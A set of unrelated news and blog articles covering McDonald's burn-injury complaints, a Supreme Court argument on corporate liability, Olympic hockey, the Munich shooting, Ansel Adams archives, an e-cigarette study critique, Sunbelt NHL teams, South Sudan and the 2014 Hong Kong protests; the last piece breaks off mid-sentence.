-Workers at McDonald’s say their jobs burn—literally. Now the Occupational Safety and Health Administration may investigate those injuries, which, while not uncommon in working kitchens, were allegedly treated in a manner befitting the Franco-Prussian War.  In the late 1800s, Prussian Surgeon General Friedrich Von Esmarch—widely believed to be the first person to conceive of first aid treatment—recommended that burns suffered on the battlefield be coated with cooking oil, animal fat, or butter. As historical burn treatments go, that’s a rather tame prescription, really. An ancient Egyptian treatment from 1500 B.C., one of the oldest ever found, calls for changing salves depending on how fresh the injury is, moving from, say, frogs cooked in oil to fermented goat dung.  While both butter and frog oil run contrary to modern medicine, only one has allegedly been recommended to treat workplace injuries in lieu of burn cream at McDonald’s restaurants.  On Monday, a group of workers filed 28 work-safety-violation claims against McDonald’s and franchise owners in 19 cities with OSHA and state authorities. According to a survey conducted by Hart Research Associates, also published on Monday, 79 percent of fast-food workers have suffered burns at work—and one-third say they were told to treat the injuries using butter or condiments such as mustard or ketchup as a salve.  “My managers kept pushing me to work faster, and while trying to meet their demands I slipped on a wet floor, catching my arm on a hot grill,” Brittney Berry, who has worked at a Chicago McDonald’s since 2011, said in a statement. “The managers told me to put mustard on it, but I ended up having to get rushed to the hospital in an ambulance.” The accident left her with nerve damage, according to a press release.  According to the Hart Research survey, which included responses from 1,426 fast-food workers, 29 percent say understaffing contributed to the circumstances that led to their injuries.  The group Fight for $15, which, with assistance from the Service Employees International Union, has organized wage protests for fast-food workers, compiled the stories of a number of injured workers in a new video. (The group also helped workers file the OSHA complaints.) In several instances, the employees said there weren’t adequate first-aid materials, and that they were told to treat burn injuries with ketchup or mustard.  “McDonald’s and its independent franchisees are committed to providing safe working conditions for employees in the 14,000 McDonald’s Brand U.S. restaurants. We will review these allegations,” Heidi Barker Sa Shekhem, a McDonald’s spokesperson, said in an emailed statement. “It is important to note that these complaints are part of a larger strategy orchestrated by activists targeting our brand and designed to generate media coverage.”  The workplace-safety complaints are the latest in a string of legal challenges that have come to represent a second front in the ongoing battle over wages between workers and fast-food employers. In January, Fight for $15 helped file a federal civil rights lawsuit against McDonald’s, alleging both racist and sexist treatment of employees. The group was also involved in the complaints filed with the National Labor Relations Board that led to the landmark ruling that McDonald’s is considered a joint employer along with franchise owners. Last year also saw lawsuits alleging wage theft and other pay-related abuses filed in California, Michigan, and New York, although without involvement from Fight for $15.  After being burned on the job, Brittney Berry told reporters on a Monday conference call that she was unable to work for three weeks and had to go without pay for that period.
-The Supreme Court was divided today on whether corporations can be held liable in U.S. courts under a federal law dating back over two centuries. After an hour of oral argument by three excellent advocates, and five years after they considered the question for the first time, several of the justices appeared to be ready to hold that the Alien Tort Statute does not allow lawsuits against corporations for serious violations of international law. Some of the other justices seemed to be trying to salvage a ruling that might eventually end this lawsuit while leaving the door open for some lawsuits against corporations, but it was not at all clear that they could garner five votes for that result.  The plaintiffs in Jesner v. Arab Bank are the victims of terrorist attacks that occurred over a 10-year period in Israel, the West Bank and Gaza. They allege that Arab Bank maintained accounts for known terrorists, accepted donations that it knew would be used to fund terrorism, and distributed millions of dollars to families of suicide bombers. They filed lawsuits under the Alien Tort Statute, a federal law that gives federal courts jurisdiction over “any civil action by an alien for a tort only, committed in violation of the law of nations or a treaty of the United States.” The ATS was enacted as part of the Judiciary Act of 1789 but was largely dormant for nearly 200 years, until a federal appeals court allowed a lawsuit against a former Paraguayan police official living in the United States to go forward on the ground that the complaint alleged torture, which violates the “law of nations.” Since then, the ATS has been frequently cited as the basis for lawsuits – against both foreign governments and multinational corporations – filed in U.S. courts seeking compensation for human-rights violations.  In 2004, the Supreme Court ruled that the universe of claims that can be brought under the ATS is limited to claims that are easily defined and commonly regarded as violations of international law. In making that determination, the justices added, courts should also consider “the practical consequences of” allowing a claim to go forward, along with whether international law would allow a particular defendant to be held liable for violating it. Eight years later, the court agreed to decide the question at the center of this case: whether corporations can be held liable under the ATS. After oral argument in that case, though, the justices asked the two sides to weigh in on whether the ATS allows lawsuits based on actions that take place in another country. In an opinion by Chief Justice John Roberts, the court concluded that the principles underlying the general presumption that U.S. law does not apply outside the United States also apply to the ATS.  Arguing for the plaintiffs, attorney Jeffrey Fisher contended that the text of the ATS leads to a “straightforward result”: a presumption that corporations can be held liable for violations of international law. Concerns about the effect that lawsuits like this one may have on the relationship between the United States and other countries, Fisher suggested, do not justify a categorical ban on lawsuits against corporations. And even when such concerns are valid, he continued, there are other legal theories – such as the presumption that the ATS does not apply to conduct that occurs outside the United States – that can be applied to address those concerns.  Justice Samuel Alito was doubtful that the potential foreign-relations implications of such suits could be so easily minimized. When courts are deciding whether to recognize claims under the ATS, he told Fisher, there will definitely be lawsuits that, if allowed to go forward, will create friction with other countries. But will there really be cases on the other end of the spectrum, Alito queried, in which dismissing the lawsuit will create foreign-relations problems?  Fisher later responded that the answer to Alito’s question was “yes,” telling the justices in his rebuttal that Israel – where several of the attacks that led to this lawsuit took place, and whose citizens are plaintiffs in the case – would certainly complain if the case were dismissed. But Roberts seemed to share Alito’s skepticism, telling Assistant to the Solicitor General Brian Fletcher (who argued on behalf of the United States) that the United States would likely be held “accountable” if it does provide a forum and a remedy in cases like this one.  The court’s newest justice, Neil Gorsuch, was even more unsympathetic to the plaintiffs. He repeatedly pressed Fisher to explain whether the plaintiffs’ interpretation of the ATS was consistent with what Congress intended when it enacted the law in 1789, and he seemed unconvinced by Fisher’s answers. When Fisher at one point cited a seminal Supreme Court opinion from 1900 to bolster his argument, Gorsuch pushed back, asking Fisher how we could know whether that was the understanding of Congress in 1789.  A central issue at today’s oral argument was exactly how to characterize the court’s inquiry in this case: Should it look at whether there is a consensus that financing terrorism is generally accepted as a violation of international law, or instead at whether there is a consensus that corporations can be held liable for such violations? For Paul Clement, who argued on behalf of Arab Bank, the answer was the latter. And, he stressed repeatedly in his half-hour at the lectern, there is no specific and widely accepted norm of international law that would allow corporations to be held liable for financing terrorism.  Justice Sonia Sotomayor did not agree. She told Clement that there is no specific norm for holding people liable either. The norm, she said, focuses on conduct – for example, should you or shouldn’t you finance terrorism or be a pirate?  Justice Elena Kagan echoed Sotomayor’s thoughts, telling Clement that the question of whether specific conduct constitutes a violation of international law is different from the question of who can be held liable for that conduct. Other countries’ views on the liability question are certainly relevant, she acknowledged, but where do you get the idea, she asked Clement, that there has to be consensus on the liability question?  Justice Stephen Breyer also seemed to be in the plaintiffs’ camp on this issue. If you have a rule of international law that prohibits the financing of terrorism, he asked somewhat rhetorically, to whom would it apply besides corporations and the occasional billionaire?  Perhaps most crucially, the bank found a friendlier audience in Justice Anthony Kennedy, who asked relatively few questions. Unlike Sotomayor, Kagan and Breyer, Kennedy seemed unpersuaded by the plaintiffs’ efforts to distinguish between conduct and who can be held liable for that conduct. Allowing corporate liability under the ATS does impose a norm, he told Fisher, because it tells corporations how to run their business. “Norms control behavior,” he repeated, and we would be saying that corporations “now must conform their behavior. That seems to me to be a norm.”  With Kennedy having possibly shown his hand, Kagan seemed to turn to triage, hoping to avoid a ruling that establishes a categorical bar on corporate liability, even if it comes at the expense of the plaintiffs in this case. “You have plenty of things to gripe about,” she told Clement: This is a “foreign-cubed” lawsuit – one involving foreign plaintiffs, a foreign defendant and conduct that largely happened overseas. But the question of corporate liability, she continued, is not one of them. Why on earth, she asked Clement, is there any reason to distinguish between an individual and corporation when it comes to who can be held liable? To hammer her point home, she offered a hypothetical involving a corporation that uses citizens of another country for slave labor in the United States. Was Clement really saying that the ATS would not provide a basis for a lawsuit in such a case?  Clement acknowledged that Kagan’s hypothetical was a “tough” one, but he countered that the slaves could sue the individuals responsible for their plight in the United States – who, he assured Kagan, would have sufficiently “deep pockets” to satisfy a judgment for the plaintiffs.  To the extent that Kagan’s goal was a ruling for the bank – for example, because the mere fact that the bank may have routed foreign transactions in dollars through its U.S. branch does not establish the kind of connection to the United States that the Supreme Court’s earlier cases require – that leaves the door open for lawsuits against other corporations in the future, it may be a tough sell. The United States had advanced a similar argument, but made little headway today with Roberts and Alito. Kagan may have been hoping that the argument would gain more traction with Kennedy, but we likely won’t know until next year whether she succeeded.  This post was originally published at Howe on the Court.  Recommended Citation: Amy Howe, Argument analysis: Corporate liability for violations of international law on shaky ground, SCOTUSblog (Oct. 11, 2017, 3:01 PM), https://www.scotusblog.com/2017/10/argument-analysis-corporate-liability-violations-international-law-shaky-ground/
-Canada's 2018 Olympic hockey team will begin to take shape on Wednesday, when Team Canada takes on Switzerland in their Karjala Cup opener.  You can watch Canada's opener LIVE on TSN1 and TSN3 at 2pm et/11am pt.  Canada's 25-man roster for the tournament includes 22 players who hold at least one game of NHL experience. Nick Spaling, Ted Purcell, Wojtek Wolski, Mason Raymond, Rene Bourque, Simon Despres and Ben Scrivens are among the more recognizable names. The roster also includes two NCAA players, in Northeastern forward Dylan Sikura and Bemidji State defenceman Zach Whitecloud.  The tournament will serve as an Olympic tryout for the players on the roster, with the PyeongChang Games 92 days away.  "I'm just looking forward to getting on the ice," forward Gilbert Brule said Tuesday. "Everyone's going to play well together and I know we're going to stick together out there and have a lot of fun and obviously we want to get the win too."  Team Canada general manager Sean Burke said last month that players not on the team's roster for this tournament, such as Jarome Iginla, are still under consideration for Olympic spots.  “These 26 players are part of the larger group that is still under consideration for the Olympic team,” Burke said in a statement. “Ten of these players were not with us in August in Russia, while others who are under consideration won’t join us next month due either to their being unavailable, or because we feel we already have a good sense of where they could fit with our team.”  Canada will play three games at the round-robin tournament, facing Sweden on Friday (11:30am et/8:30am pt. on TSN) and Finland on Sunday (10:30am et/7:30am pt. on TSN). The winner of the tournament, which also includes the Czech Republic and Russia, will be determined by points.  “As a management group and coaching staff, our priority is putting the best possible team together,” Burke said. “We will continue to evaluate every Canadian player that’s eligible to represent their country at the 2018 Olympic Winter Games to ensure we give ourselves the best possible chance for success in Korea.”  Canada has never won a medal at the round-robin tournament, which dates back to 1992.
-DW: Mr. Fiedler, is it possible that someone could use a weapon against others because they are "depressed"?  Georg Fiedler: First I would like to clarify that the term "signs of depression" describes how someone appears to others. I would say that the police were very cautious in describing the perpetrator. "Signs of depression" in no way suggests that someone suffers a psychiatric illness. And even if they do, someone who suffers from depression is generally not someone who goes on a shooting rampage. People who are depressed direct their aggression against themselves, if anyone. Therefore one cannot assume that depression was the reason or cause of the attack.  How prevalent is depression in Germany?  Psychologist Georg Fiedler cautions against coming to hasty conclusions  About a third of the people living here show "signs of depression." But depression is a very broad term. It can suggest that someone lives reclusively, broods a lot, blames oneself or thinks their problems are somehow their own fault. There are a lot of things that play into the equation. Yet these character traits in no way mean that the person is sick. "Depression" is a term that is used in a rather inflationary sense here. Real depression is a very serious illness. Depression consists of symptoms such as constant serious brooding, waking up early and sleeplessness over a period of weeks or months.  The perpetrator was an 18-year-old German-Iranian. What could push a young person like him to commit such a horrible act?  One has to be careful in judging such a case. One thing is clear: There were a number of reasons for the crime. Apparently the perpetrator was undergoing psychiatric treatment. Therefore psychiatric illness could have played a role, but it was certainly not the only factor. Computer games that glorify violence, and are so popular with today's youth, are always pointed to after such atrocities. But the fact that the perpetrator liked to play so-called "ego-shooter" games cannot be the sole reason for this outburst of violence. People that draw that conclusion are oversimplifying. The reasons for such acts are much more complex than that.  The term "extended suicide" was used in reference to the perpetrator. What does that term mean?  The term refers to the fact that a perpetrator takes the lives of people close to them when they commit suicide. That can refer to a mother that kills herself and her child, or a father that kills himself and his entire family. In both cases the perpetrator exhibits a delusional notion that his or her victims could not possibly survive without them. Thus, one could even speak of altruistic motives in such cases. But that was absolutely not the case in Munich.  Does the Munich attack remind you of other cases?  Here too: The intentional crash of the Germanwings plane last March was certainly not exclusively related to the pilot's depression. I would think that he also had problematic personality traits. One of those traits would be a "delusional" perception of the world around him. If we think back a few years, the Winnenden shooter was also being treated for depression. But again: There were a whole series of factors that led to the attack, none of which had anything to do with depression. A psychiatric diagnosis of depression would actually speak against such an act.  Do you see correlations between the two attacks?  I found it rather telling that the Munich shooter seemed to pick out and shoot young people. In that sense the victims that were targeted were very similar to those targeted in Winnenden. It also brings to mind the Norway massacre that took place five years ago, in which a gunman killed 77 people, the great majority of whom were very young.  This interview was conducted by Daniel Heinrich.  Georg Friedrich is a psychologist and suicide researcher who lives and works in Hamburg, Germany.
-Ansel Adams Photographs  En Español  Records of the National Park Service  View of Valley from Mountain, "Canyon de Chelly" National Monument, Arizona View in National Archives Catalog  In 1941 the National Park Service commissioned noted photographer Ansel Adams to create a photo mural for the Department of the Interior Building in Washington, DC. The theme was to be nature as exemplified and protected in the U.S. National Parks. The project was halted because of World War II and never resumed.  The holdings of the National Archives Still Picture Branch include 226 photographs taken for this project, most of them signed and captioned by Adams. They were taken at the Grand Canyon, Grand Teton, Kings Canyon, Mesa Verde, Rocky Mountain, Yellowstone, Yosemite, Carlsbad Caverns, Glacier, and Zion National Parks; Death Valley, Saguaro, and Canyon de Chelly National Monuments. Other pictures were taken at the Boulder Dam; Acoma Pueblo, NM; San Idelfonso, NM; Taos Pueblo, NM; Tuba City, AZ; Walpi, AZ; and Owens Valley, CA. Many of the latter locations show Navajo and Pueblo Indians, their homes and activities.  The Kings Canyon photographs were taken in 1936 when the establishment of the park was being proposed. These prints were added by Adams to the mural project. The one photograph of Yosemite was a gift from Adams to the head of the Park Service, Horace Albright, in 1933.  In addition, there are eight photographs taken by Adams of Yosemite in the General Photographic Files of the National Park Service. These photos may still be under copyright protection.  To Order:  If you wish to order any of these photographs, please see the Ordering Still Picture Reproductions page. For questions or additional information about the holdings of the Still Picture LICON, call: 301-837-0561, fax: 301-837-3621, or e-mail: stillpix@nara.gov.  Note: Quotation marks indicate information which was copied from the reverse of the mount cards.  ACOMA PUEBLO, NEW MEXICO  BOULDER DAM, COLORADO RIVER  CANYON DE CHELLY, ARIZONA  National Archives Identifier Variant Control Number Title 519851 79-AAC-1 " Canyon de Chelly," vertical panorama from river valley. 519852 79-AAC-2 " Canyon de Chelly," panorama of valley from mountain.  DEATH VALLEY NATIONAL MONUMENT, CALIFORNIA  GLACIER NATIONAL PARK, MONTANA  GRAND CANYON NATIONAL PARK, ARIZONA  GRAND TETON NATIONAL PARK, WYOMING  KINGS RIVER CANYON, CALIFORNIA  All prints are labelled: "Kings River Canyon (Proposed as a national park). Photos donated by Ansel Adams, February 1936."  MESA VERDE NATIONAL PARK, COLORADO  NAVAJO INDIANS, CANYON DE CHELLY, ARIZONA  OWENS VALLEY, CALIFORNIA  ROCKY MOUNTAIN NATIONAL PARK, COLORADO  SAGUARO NATIONAL MONUMENT, ARIZONA  SAN ILDEFONSO PUEBLO, NEW MEXICO  TAOS PUEBLO, NEW MEXICO  TUBA CITY, ARIZONA  WALPI, ARIZONA  National Archives Identifier Variant Control Number Title 519989 79-AAS-1 " Walpi, Arizona, 1941," full view of the city on top of mountain. 519990 79-AAS-2 " Walpi, Arizona, 1941," nearly identical, closer in.  YELLOWSTONE NATIONAL PARK, WYOMING  YOSEMITE, CALIFORNIA  National Archives Identifier Variant Control Number Title 520018 79-AAU-1 " Half Dome, Apple Orchard, Yosemite," trees with snow on branches, April 1933.  ZION NATIONAL PARK, UTAH  CARLSBAD CAVERNS NATIONAL PARK, NEW MEXICO  All prints are labelled: "Carlsbad Caverns National Park."  Records of the National Park Service  General Photographic File  (These photos may still be under copyright protection.)  Ansel Adams Photographs
-Chicago’s Department of Public Health (CDPH) promoted a National Institutes of Health-funded (NIH) study Wednesday that shows teens using e-cigarettes are more likely to start smoking tobacco.  The study, published in 2015, examined 9th grade students in Los Angeles and found those who had tried e-cigarettes were 2.7 times more likely to initiate smoking than their peers.  On the surface, these findings appear to back-up the CDPH’s hyperbolic tweet. But the study itself is full of drawbacks that make the CDPH’s claim look like an overreaction at best and a willful misrepresentation at worst. (RELATED: Fact Check: Rahm Emanuel’s Spin Fueled Campaign Against E-Cigarettes)  NIH study shows “Teens Using E-cigarettes More Likely to Start Smoking Tobacco” https://t.co/x4BR5BHofO #VapingTruth — ChiPublicHealth (@ChiPublicHealth) January 6, 2016  Dr. Michael Siegel, a Professor in the Department of Community Health Sciences, Boston University School of Public Health, points out in his blog post from August 2015, “the study did not measure ‘e-cigarette use.’ It merely asked kids whether they had ‘ever’ tried an e-cigarette. Kids who had ever tried an e-cigarette, even a puff, were compared with all kids who had never even puffed on an e-cigarette.”  This represents a problem when attributing the causality of smoking to e-cigarettes. “Kids who would not even try an e-cigarette, despite their popularity, represent a different population than kids who would try a puff on an e-cig,” says Siegel.  The fact that the children who wouldn’t experiment with even a puff of an e-cigarette are less likely to try regular tobacco should come as no surprise. The former Director of Action on Smoking and Health Clive Bates, agrees with Siegel:  Adolescents who use e-cigarettes may be more likely to begin smoking, but not necessarily because they used e-cigarettes. The most likely explanation is that whatever it is that inclines young people to smoke (actually to experiment), also inclines them to use e-cigarettes.  The study also failed to record whether any of the subjects were regular vapers and had a nicotine addiction before they experimented with cigarettes. The only fact the study could muster is that some of the subjects had tried an e-cigarette at some point. Nowhere does the study claim regular users of e-cigarettes transitioned to smoking tobacco.  This fact directly clashes with CDPH’s claim that “teens using e-cigarettes more likely to start smoking tobacco.”  Another big problem for those who want to make the link between e-cigarette use and smoking, is that the study defined smoking as any cigarette use, no matter how small. So among the subjects who tried cigarettes, we have no idea whether any of them are actually regular or even semi-regular smokers, if they are smoking at all.  The editorial accompanying the study readily acknowledges this fact:  Because the only outcome measure was any use of a tobacco product during the past six months, the analysis could not distinguish students who had just tried a few cigarettes from those who progressed to regular smoking during follow-up. The latter is the greater concern, and the current study cannot determine whether e-cigarette exposure was associated with that outcome.  The study’s own authors even went so far as to say, “we cannot conclude that e-cigarette use directly leads to smoking.”  Follow Guy on Twitter  Send tips to guy@dailycallernewsfoundation.org.  Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
-(Ed. note: Part Two can be found here)  With this series I look to explore the state and perception of the so-called "sunbelt" National Hockey League clubs. It is a two-part post that will first look through a brief history and observation of the Sunbelt teams. The heart of this series is the second part in which I try to understand the peculiar attitude of northern American but most particularly Canadian fans that see these southern NHL teams as a threat to them and to the sport, an attitude that is not seen in the other three major American pro sports leagues or soccer. It is an attitude which I believe is hurting the sport and its image and may make it more likely to be seen only as a "white man’s sport". Many will disagree with me but I feel it is a mix of Canadian elitism, nationalism and racism that fuels this hatred which is perpetuated by the hockey media and many fans of the sport among our neighbors to the north.  Hockey is a sport born in the frigid climates of North America. Florida did not get to know the sport at its highest level, the NHL, until the Tampa Bay Lightning were created in 1992 with the Panthers following in 1993. Their creation was part of an NHL campaign to grow the sport in the southern portions of the United States, these teams being labeled collectively as the "Sunbelt" teams. The Los Angeles Kings were the first of these teams born in 1967 with the Atlanta Flames created not long after in 1972. The Flames did not last in Atlanta however relocating to Calgary by 1980 yet the Kings were able to prosper well enough in the second largest market in the United States. A trade in 1988 that shook the NHL to its core between the Kings and Edmonton Oilers would go on to be the catalyst of the NHL’s rapid growth in the southern US. Wayne Gretzky, arguably the league’s greatest player of all time but definitely the best at the time of the trade, was dealt to LA. Suddenly the Kings became a hot ticket in a media giant town and the team’s vast improvement after acquiring Gretzky helped southern California grow into a formidable hockey town. The impact and success of the Kings along with former NBA executive Gary Bettman hired by the NHL owners to become the first NHL commissioner was enough for the league to take a chance at growing the sport and expanding to Florida, California, Tennessee and even a return to Atlanta. This push to grow the sport did have severe impacts on some well-established northern regions that were struggling financially and would be one of the reasons for many in the northern United States and Canada to hate the thought of southern teams existing. Four teams would move south in the decade following Gretzky’s trade. These relocated franchises had various reasons for moving south including low ticket sales, player salaries rising to unsustainable levels, inability to obtain a new arena and weak local economies. Had it not been for NHL support it was possible Canada would have been left with only three clubs by 2000.  What I consider the Sunbelt clubs may differ from yours but this is my list: Florida, Tampa Bay Lightning, Nashville Predators, Phoenix Coyotes (soon to be Arizona), Dallas Stars, Anaheim Ducks, Carolina Hurricanes and Los Angeles Kings. San Jose is a team created in the NHL’s southern push but the Sharks are not exactly southern in region, culture or weather during hockey season. They are however an expansion club nonetheless. Prototypical expansion teams in any sport struggle in their first few years of play. This is a result of having a team mainly comprised of players teams are willing to cast aside because they are not particularly great and having young, inexperienced players. Losing is common early on and it can be tough to market and get people on board with the sport. This is a dilemma made more difficult in the NHL since they were introducing a sport that had little footing in these new regions. Rinks were few and far between and competition from other established sports franchises tended to overshadow other teams.  The Florida Panthers in a sense may have been the luckiest of these teams early on. Despite setting NHL records for an expansion team, the Panthers faced possible relocation to Nashville early on due to their lease at the Miami Arena making it difficult to turn a profit. The Cinderella-run for the Stanley Cup in 1996 however changed that and the Panthers suddenly became a hot enough commodity that Broward County offered to build an arena which they currently call home. The Panthers sold out the Miami Arena two full seasons in a row and would enter their new home with an average attendance of over 18,000 in the first year. Now this does not seem like a feat to fans of northern franchises but given the circumstances that a southern expansion hockey team was facing it is a notable accomplishment. For relocated teams like Dallas and Carolina, the journey was difficult yet made easier due to having established farm systems and team infrastructure. The Dallas Stars were the first Sunbelt team to win the Stanley Cup in 1999, six years after leaving Minnesota. Tampa Bay, Anaheim and Carolina would later on reach hockey’s mountaintop. These teams successes fueled growth in hockey and helped stabilize their franchises enough that they still survive and are now a generation of fans deep. Kids growing up in the early 1990s now have children of their own who are being born hockey fans. Ice rinks and youth and adult hockey programs in these southern regions are now thriving. South Florida alone has seven ice rinks, fifteen high school teams since 1998, and three college club teams since 2010.  The knock against Sunbelt franchises is generally about their attendance figures. Once more, the struggles of expansion teams and introducing a new sport to a region can make it difficult for fans to jump on board. Losing is possibly the worst thing that can happen to any franchise as sports gives people and entire regions a sense of accomplishment and pride when their teams win. For expansion franchises such as the Nashville Predators and Atlanta Thrashers who did not have a Stanley Cup run in their first decade at least it was rough sailing. For the Phoenix Coyotes, a relocated franchise, personnel decisions led to their inability to succeed on the ice. These teams had little to no playoff success and were constantly listed as teams on the first plane out to colder climates. Nashville for years had solid teams that made the playoffs but never could make a run or get their fans on board. Yet in the last few years the Predators began to change the way they market to their region and finally were able to strike a local chord in the Music City. In Phoenix the constant threat of relocation and unstable ownership or lack thereof left Arizona’s residents to not get too invested in what may be a fleeting relationship. In Atlanta a combination of terrible ownership and terrible play led to the relocation of the Thrashers to Winnipeg to become the new Jets, the first and only casualty of the Sunbelt teams.  Attendance when Sunbelt teams are winning are high and when they are losing are low. It is no different than the "traditional" hockey franchises save for the Canadian clubs. Exploring that angle it would seem the relocation scare in the 1990s is partly a reason why Edmonton, Calgary, Ottawa and Winnipeg sell out even when some of those teams experience several years of mismanagement and wallowing in the league’s basement. Winnipeg’s relocation was approved with the stipulation that the Jets had to constantly sell out the NHL’s smallest arena in the second-smallest market in North American pro sports. That is some very thin ice to skate on as a franchise. Current powerhouse and Original Six team the Chicago Blackhawks not too long ago was considered an NHL graveyard with attendance that was far below Sunbelt teams thanks to a combination of losing and mismanagement. The Pittsburgh Penguins were very close to relocating had it not been for the efforts of Mario Lemiuex and, for you conspiracy theorists, the fixing of the NHL Draft Lottery to help the Penguins land Sidney Crosby.  From the gathering of information in southern hockey markets it seems that the success of these teams is the same for any other franchise in any sport. It is a combination of several factors. One is ownership. Stable ownerships have been the reason that most of the Sunbelt teams have made it this far. Arena deals that these ownership groups have that puts them in charge of operating these arenas allow them to ultimately make a profit thanks to non-hockey events. Marketing to fans in a meaningful and good way is vital especially with a sport like hockey which prides itself in having the perception of having personnel and players that are more accessible and humble as compared to those in other sports. Success on the ice is needed to keep that fervor for hockey on the minds of locals. The Panthers saw in 2012 that a successful team does wonders for the bottom line, marketing and attendance. Genuine owners who realize that success on the ice translates to success in drawing fans and then leads to financial success are the best chance for Sunbelt teams to thrive. A rash of recent sales of Sunbelt hockey clubs to big-pocketed owners has led to a revival of success on the ice and off for the Tampa Bay Lightning and Dallas Stars and has given fans in Florida and Phoenix hope for the future of their clubs.  That is the brief observation and quick historical look at the southern NHL teams and their impact on hockey in the Sunbelt. Part 2 will explore the irrational and perplexing beliefs of northern American but mainly Canadian NHL fans that wish none of these NHL teams had moved south of the Mason-Dixon Line.
-KAMPALA (Reuters) - South Sudanese troops raided the home of the exiled former army commander, relatives said on Friday, after his rival was named to command troops in his home region to counter any threats he might pose to the government.  South Sudan's ousted army chief Paul Malong addresses the media after returning to the South Sudan's capital of Juba, May 13, 2017. REUTERS/Stringer  Soldiers and National Security agents entered the compound belonging to Paul Malong and assaulted a neighbor while searching for weapons, said a relative who witnessed the alleged incident in the town of Malualkhon in the Aweil region. A second Malong family member confirmed the raid.  Army spokesman Lul Ruai Koang said he had “no official information” that security forces raided Malong’s house.  Oil-rich South Sudan has been at war since 2013, when forces loyal to ex-vice president Riek Machar, an ethnic Nuer, began fighting with troops loyal to President Salva Kiir, a Dinka. The conflict has split the nation into a patchwork of ethnic fiefs.  Malong had buttressed his power by recruiting men from Aweil to fight in ethnic militias while also commanding the military, according to U.N. experts. But Kiir fired Malong, also a Dinka, in May after a power struggle and put him under house arrest in the capital Juba amid fears he might start a revolt from Aweil.  Malong loyalists started joining rebels and in November, Kiir released Malong to exile in Kenya.  Thursday’s alleged raid unfolded after the appointment of Malong’s longtime rival, General Dau Auterjong, to the top military post in Aweil. He had rebelled against Malong’s army from 2014 until last year, when he rejoined the government.  Auterjong’s appointment “turns the screws” on Malong by undercutting his military strength in Aweil, according to South Sudan researcher Alan Boswell.  “Malong was ready for a fight when he was fired. Now his ability to challenge Kiir is much weaker,” Boswell said.  In September, the United States sanctioned Malong for his role in the civil war, which has killed tens of thousands of people, displaced a third of the population, and pushed parts of South Sudan into famine.
-HONG KONG — The group that wins this battle is the one of stronger mind.  The government is fighting for control with manipulation; the people are fighting for democracy with peace.  See also: The Art From Hong Kong Protest Tells a Beautiful Story of the Democracy Fight  Using non-violent resistance, popularized by Indian leader Ghandi to secure independence from Britain in 1947, the students and protest groups of Hong Kong have attempted to use love and solidarity to overcome what they consider the control of the Beijing government and secure a democratic election of their leader in 2017.  Chanting, prayer, sit-ins, art, education and information warfare are all common tactics used by activists at the protest sites of Admiralty, Mong Kok and Causeway Bay.  The government, on the other hand, has used tactics as mild as letting the protesters wear themselves out and as strong as reportedly paying thugs to instigate violence on the streets.  One of the many works of art in Admiralty.  The method of non-violence, initiated by the three main groups that front the movement — the Federation of Students, Scholarism and Occupy Central — is a smarter tactic than it first appears. The protesters are well aware that one step out of line will give the authorities reason to use force.  The wariness of police involvement can be seen on the streets, with people being urged to only cross barriers at marked intersections, the creation of first aid tents to assist anyone in need, the formation of human chains to control the masses and the common chant of "keep calm" when the crowd swells.  At first, the government used heavy-handed force in the form of tear gas on students, before switching tactics to implement what appeared to be mind games. Protesters say these included emptying the streets of police, silence from the Beijing-appointed leader of Hong Kong, Leung Chun-ying, for almost a week, and using media propaganda in an attempt to spread a different story to the people of China, Hong Kong and the world.  The use of tear gas backfired for the Beijing-backed government, as it brought more people on to the street. Hong Kongers are often reserved about their political stance, yet are not prepared to sit back and watch something happen when they deem it morally wrong. The government seemed to understand this, as it pulled back completely the next day.  From Monday, there was almost no police presence in sight.  The scenes that the world watched unfold on Sunday. Image: AP Images/Associated Press  'It feels like they are setting up a trap'  Ashley, a 22-year-old university student who was born and raised in Hong Kong has been heavily involved in the online element of the movement as an administrator for the Facebook page Hong Kong Democracy Now. She believes tactics such as this are to gain control of the people.  “One of the tactics that the government is using is dragging the whole thing on. The day after the tear gas most of the police were taken away. They wanna fuck your mind up,” she told Mashable. “The more calm and silent it is on the government side, the more dangerous it is. It feels like they are setting up a trap, but you don’t know what it is.”  A man reacts after being hit with tear gas. Image: AP Images  The problem in Hong Kong at the moment is that it is very difficult to separate the truth from the fiction, especially when it comes to the authorities. This uncertainty makes the protesters anxious, which in turn makes them vulnerable and is no doubt another government ploy.  Trust got thrown out the window on Thursday afternoon, when police lied to protesters to gain entry for extra police forces and used an ambulance to smuggle in extra weapon supplies to government offices. Propaganda and rumors are prevalent across social media, such as stories about deaths in the traffic caused by the protests and high-alert warnings telling people to leave public areas.  On Thursday night, Leung addressed the media – just 20 minutes before the deadline set by protest leaders for his resignation and after a long, drawn-out week of silence – and announced he would not be standing down, but the government was prepared to talk with the student groups. He gave very little information; the cards were kept close to his chest. Following this, splinter groups emerged.  Different battles were being fought in areas across Hong Kong. Image: AP Images/Associated Press  It seemed the government’s “wear them out” tactic was starting to work and a single incident could cause a heightened response from the crowd. A small minority of protesters began to get frustrated with the inaction of the protesters after Leung’s speech and attempted to block the main thoroughfare route from east to west by sitting on Lung Wo road, near Leung’s office.  To prevent this happening, the crowd formed a human chain to allow traffic to continue to pass through one lane, as a representative tried to coerce the protesters off the road. The protesters loudly chanted for everyone to remain calm as things began to get heated due to one of the road blockers becoming aggressive. The media scrum became intense as the crowd begged for everyone to clear a path for the breakaway protesters to be removed.  LIVE: Chaos as protesters battle to stop group blocking traffic on crucial cross-harbour link http://t.co/hvNxFVCdbg pic.twitter.com/CxJbajcmUF — SCMP News (@SCMP_News) October 2, 2014  A witness, Yan, told Mashable he believed the road-blocking protesters were “paid by someone” to incite a reaction from the crowd. He would not detail if this “someone” was the government. It is a story you hear regularly, which indicates the level of distrust for the government from students.  “We don’t want violence,” he said. “We don’t want to occupy the road. It is too much.”  A student wears protective gear as she protests.  A climate of fear  This cautious mentality has emerged within Hong Kongers as the days drag on. Earlier in the week, demonstrators would speak freely to journalists. On Thursday night, as Leung’s speech was announced, many fled the overcrowded areas due to obvious fear. They thought it had gone too far. Upon being advised I was a journalist, one young student changed his story from “getting away from the growing aggression” to “just going to meet friends for dinner.”  The fear of talking publicly could arise from concerns over being allowed to travel to mainland China, George Chen, a 2014 Yale World Fellow and the author of the book This is Hong Kong I Know, said.  “The economic ties between Hong Kong and Mainland China are very close nowadays and what you say about the Hong Kong protests - especially when you say something that the government doesn’t like to hear - may get you in trouble at some point,” he told Mashable. “You don't know what you have done wrong. That kind of fear of uncertainties may cause 